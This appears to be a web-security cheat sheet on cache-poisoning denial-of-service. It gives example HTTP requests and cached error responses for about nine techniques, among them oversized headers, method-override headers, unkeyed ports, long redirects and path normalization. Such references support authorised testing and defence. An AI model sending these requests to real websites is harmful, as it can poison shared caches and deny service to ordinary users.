Cache Poisoning to DoS

Reading time: 4 minutes

• HTTP Header Oversize (HHO)

Send a request with a header size larger than the one supported by the web server but smaller than the one supported by the cache server. The web server will respond with a 400 response which might be cached:

GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000

• HTTP Meta Character (HMC) & Unexpected values

Send a header that contain some harmfull meta characters such as and . In order the attack to work you must bypass the cache first.

GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r

A badly configured header could be just \: as a header.

This could also work if unexpected values are sent, like an unexpected Content-Type:

GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld

• Unkeyed header

Some websites will return an error status code if they see some specific headers in the request like with the X-Amz-Website-Location-Redirect: someThing header:

GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing

HTTP/2 403 Forbidden
Cache: hit

Invalid Header

• HTTP Method Override Attack (HMO)

If the server supports changing the HTTP method with headers such as X-HTTP-Method-Override, X-HTTP-Method or X-Method-Override. It's possible to request a valid page changing the method so the server doesn't supports it so a bad response gets cached:

GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST

• Unkeyed Port

If port in the Host header is reflected in the response and not included in the cache key, it's possible to redirect it to an unused port:

GET /index.html HTTP/1.1
Host: redacted.com:1

HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss

• Long Redirect DoS

Like in the following example, x is not being cached, so an attacker could abuse the redirect response behaviour to make the redirect send a URL so big that it returns an error. Then, people trying to access the URL without the uncached x key will get the error response:

GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit

GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss

• Host header case normalization

The host header should be case insensitive but some websites expect it to be lowercase returning an error if it's not:

GET /img.png HTTP/1.1
Host: Cdn.redacted.com

HTTP/1.1 404 Not Found
Cache:miss

Not Found

• Path normalization

Some pages will return error codes sending data URLencode in the path, however, the cache server with URLdecode the path and store the response for the URLdecoded path:

GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com


HTTP/1.1 404 Not Found
Cach:miss

Not Found

• Fat Get

Some cache servers, like Cloudflare, or web servers, stops GET requests with a body, so this could be abused to cache a invalid response:

GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3

xyz


HTTP/2 403 Forbidden
Cache: hit

References

• https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52
• https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------